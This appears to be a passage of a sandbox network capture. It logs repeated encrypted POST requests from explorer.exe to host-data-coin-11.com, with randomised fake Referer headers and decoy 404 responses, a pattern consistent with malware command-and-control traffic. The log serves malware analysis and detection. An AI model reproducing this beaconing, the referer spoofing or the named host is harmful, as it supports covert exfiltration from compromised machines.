Dec 1, 2021 09:14:32.431252003 CET	8606	OUT	Data Raw: 95 b3 ba 3a 4a db 25 9e 1a 13 aa a9 43 06 0f 90 9c 35 1b 5d da 43 d2 57 f2 f2 ae 1c 2e 3d 9b e8 65 85 9a 6a 24 66 bc 63 b7 e3 50 25 25 e3 f2 6f 41 7d 22 b3 0e a1 72 b1 e4 6f 62 52 e2 85 20 6f 6a 9a a9 3c 24 94 46 1b 91 50 da 63 e0 e5 bf a5 dd 3c Data Ascii: :J%C5]CW.=ej$fcP%%oA}"robR oj<$FPc<UV] G5i\|e)h!OgrEMxZ0]gv:zI(DWG{]b\|#;gi#;AjK7@I{#s.jr:y#+
Dec 1, 2021 09:14:32.432087898 CET	8612	OUT	Data Raw: ad 25 b3 b2 5c b5 92 69 0a ee 13 8a 66 1b c6 21 a0 9f 15 c1 1f 7f 6c 69 7c 7d d2 df 07 93 93 a5 f3 19 a9 8f 86 96 64 1b 46 e7 02 67 97 c7 23 97 c7 d3 87 4a bb f3 c4 61 4d 3d 3e 43 06 3e a3 b3 a4 bf a1 e0 d4 b0 b2 a7 3f 72 fe 79 58 6c c8 f1 39 9d Data Ascii: %\if!li\|}dFg#JaM=>C>?ryXl9qC,}c0kR8])$`G "6vFt&=Fq4x@be(`-[0Y@r=W`v[j%H^BW@""e$Q`
Dec 1, 2021 09:14:32.432116985 CET	8620	OUT	Data Raw: 7b 48 a7 fd 9e 90 db fd 8e 38 b5 51 7b c8 a1 dd 5e 29 3f 6c 7a 2d c6 73 5b fa 8e 7b 1a 73 51 44 14 ca af 71 49 78 5b f7 1d d8 52 bc 2d ca b7 8e 06 0b 9f 54 64 2b 84 f2 ab e2 bc 3d fb 34 e6 fc f6 10 dc 0d dc c6 8b 51 70 57 6d 43 82 25 3c 7b 60 9f Data Ascii: {H8Q{^)?lz-s[{sQDqIx[R-Td+=4QpWmC%<{`xBk$WqZud{}kil;P9G#q?f3)1Gx7p(~3nf0*6Hyl}Pdp7_T)Ow:\|
Dec 1, 2021 09:14:32.432987928 CET	8622	OUT	Data Raw: 6f c0 67 ef 5a 67 fe 04 c7 59 7f 26 ae b4 d5 50 a5 ae 78 99 0d fe 5d 77 68 98 af 16 f5 34 e7 5c 16 af 36 d0 c2 bc e0 2f d9 e7 eb 2a 1a 1d 56 17 d8 60 f0 5a 54 41 5a 09 69 3f 1e ff 28 80 05 c4 45 66 e3 90 b8 17 d3 6f bf 41 53 86 a3 17 5d 9e 5a 6a Data Ascii: ogZgY&Px]wh4\6/V`ZTAZi?(EfoAS]ZjSyIFck}/D+P'0aXDWfW#dl\|of/a4[HH_ceq0s?m?)qoT*NBKP$G~h:~m
Dec 1, 2021 09:14:32.589039087 CET	8663	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Wed, 01 Dec 2021 08:14:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.4	49810	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:32.488334894 CET	8658	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://clekn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 318 Host: host-data-coin-11.com
Dec 1, 2021 09:14:32.488348007 CET	8658	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de be 66 5d 02 c9 a1 c1 64 37 93 da 6b Data Ascii: nIF}0?7XknwmDu$f]d7k64MA9'c^l`A;Po.^IJ^D4Lq/U08`+47wp-T@;UQ%AaK!f*~W=moY"5@mVC
Dec 1, 2021 09:14:32.594845057 CET	8664	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.4	49811	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:32.763000965 CET	8665	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jhglqm.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 279 Host: host-data-coin-11.com
Dec 1, 2021 09:14:32.763017893 CET	8665	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de bf 66 5d 02 c8 a1 c1 64 54 db bb 0a Data Ascii: nIF}0?7XknwmDu$f]dT?asR2RL1!mgj$K3?O=~FB1=AMkm^X=vFT$'<.s_b.r#49$7f=H)&g/]1oZ^
Dec 1, 2021 09:14:32.863291979 CET	8665	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.4	49812	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:33.020070076 CET	8666	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pnkfchg.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 207 Host: host-data-coin-11.com
Dec 1, 2021 09:14:33.020128012 CET	8666	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de bc 66 5d 02 c8 a1 c1 64 12 ba a6 13 Data Ascii: nIF}0?7XknwmDu$f]dc\~Q"3X'bZp%~k?.ZI=WqA$2TID#M}UTVq2.[1Ejt@\k*bbQ
Dec 1, 2021 09:14:33.121498108 CET	8667	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.4	49813	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:33.225972891 CET	8667	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://inflqn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 243 Host: host-data-coin-11.com
Dec 1, 2021 09:14:33.225990057 CET	8668	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de bd 66 5d 02 c8 a1 c1 64 3b d0 d0 24 Data Ascii: nIF}0?7XknwmDu$f]d;$:rDPBF_c[Z^%u(G2o@9Z>}0b0+ub+N'pc-#fNt5W(_T1e^oA9eymt\|"]fDeF2'y
Dec 1, 2021 09:14:33.326433897 CET	8668	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.4	49814	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:33.416949034 CET	8669	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://obtnplqgwg.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 193 Host: host-data-coin-11.com
Dec 1, 2021 09:14:33.417160988 CET	8670	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de ba 66 5d 02 c8 a1 c1 64 3d d0 dd 61 Data Ascii: nIF}0?7XknwmDu$f]d=aCF>Mv\RH3^ZnNx$2l\FpZ<n~R(DEyc(DPw(7)NgIrl"*8oV
Dec 1, 2021 09:14:33.522387028 CET	8670	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.4	49815	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:33.907125950 CET	8671	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://buxkshswe.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 276 Host: host-data-coin-11.com
Dec 1, 2021 09:14:33.907130003 CET	8671	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de bb 66 5d 02 c8 a1 c1 64 49 93 9e 02 Data Ascii: nIF}0?7XknwmDu$f]dI\}yjyZW;=7R#qK1r%~%<Q</Rv\w&vGi P!Hta&Yu}Uy1(22K &\3lVC+pBnLf=xV
Dec 1, 2021 09:14:34.011966944 CET	8672	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.4	49816	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:34.111988068 CET	8673	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wjpbjeendw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 259 Host: host-data-coin-11.com
Dec 1, 2021 09:14:34.111995935 CET	8673	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de b8 66 5d 02 c8 a1 c1 64 52 bc b3 64 Data Ascii: nIF}0?7XknwmDu$f]dRd!6ej^ALW=ce]l!f%,R&=VO#N<)'B\vXgjc(C2q/x_qErV's\xPFX<9gBrUA
Dec 1, 2021 09:14:34.214350939 CET	8674	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.4	49817	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:34.306974888 CET	8675	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pmhitsi.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 215 Host: host-data-coin-11.com
Dec 1, 2021 09:14:34.306998014 CET	8675	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de b9 66 5d 02 c8 a1 c1 64 37 ca 84 7f Data Ascii: nIF}0?7XknwmDu$f]d7V.Yogy~1\Io%{taQ!#/n"3Kiq/{KN8$XSK+^4t.$~t4G ;_"GD P,Z
Dec 1, 2021 09:14:34.407723904 CET	8675	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.4	49818	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:34.555721045 CET	8676	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jydujxmpvv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 322 Host: host-data-coin-11.com
Dec 1, 2021 09:14:34.555872917 CET	8677	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de b6 66 5d 02 c8 a1 c1 64 42 ab ac 1e Data Ascii: nIF}0?7XknwmDu$f]dB]kaWNEomboe9o\|\M5dw/5iGIU gZJ_ol%l_oo{Lx-rQOW65PUAYMl;J,{:nC3^
Dec 1, 2021 09:14:34.658929110 CET	8677	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49761	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:13:56.674941063 CET	1086	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xbbffefnf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 179 Host: host-data-coin-11.com
Dec 1, 2021 09:13:56.674959898 CET	1086	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9d 66 5d 02 c8 a1 c1 64 36 de c5 78 Data Ascii: nIF}0?7XknwmDu$f]d6x2j]Mx*_lDv_+j:vtIO>b}qm2MC61_pj!HsL
Dec 1, 2021 09:13:56.778233051 CET	1086	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:13:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.4	49819	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:34.746252060 CET	8678	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xtfcaknrkq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 149 Host: host-data-coin-11.com
Dec 1, 2021 09:14:34.746275902 CET	8678	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de b7 66 5d 02 c8 a1 c1 64 3e 98 c5 75 Data Ascii: nIF}0?7XknwmDu$f]d>uU.f4+)qV{x:bt5SwUc6W%$.k}_q9
Dec 1, 2021 09:14:34.847769976 CET	8678	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.4	49820	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:34.934369087 CET	8679	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mtfpb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 218 Host: host-data-coin-11.com
Dec 1, 2021 09:14:34.934380054 CET	8679	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de b4 66 5d 02 c8 a1 c1 64 5f cc b1 17 Data Ascii: nIF}0?7XknwmDu$f]d_JU%v]z(E8$zge IF3tXWRP2([Rry#S[naA0r"Dstv<M;k)fZHq=x0Mi\_IwPfEf
Dec 1, 2021 09:14:35.038682938 CET	8680	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49762	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:13:56.884566069 CET	1087	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fhfscvxar.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 298 Host: host-data-coin-11.com
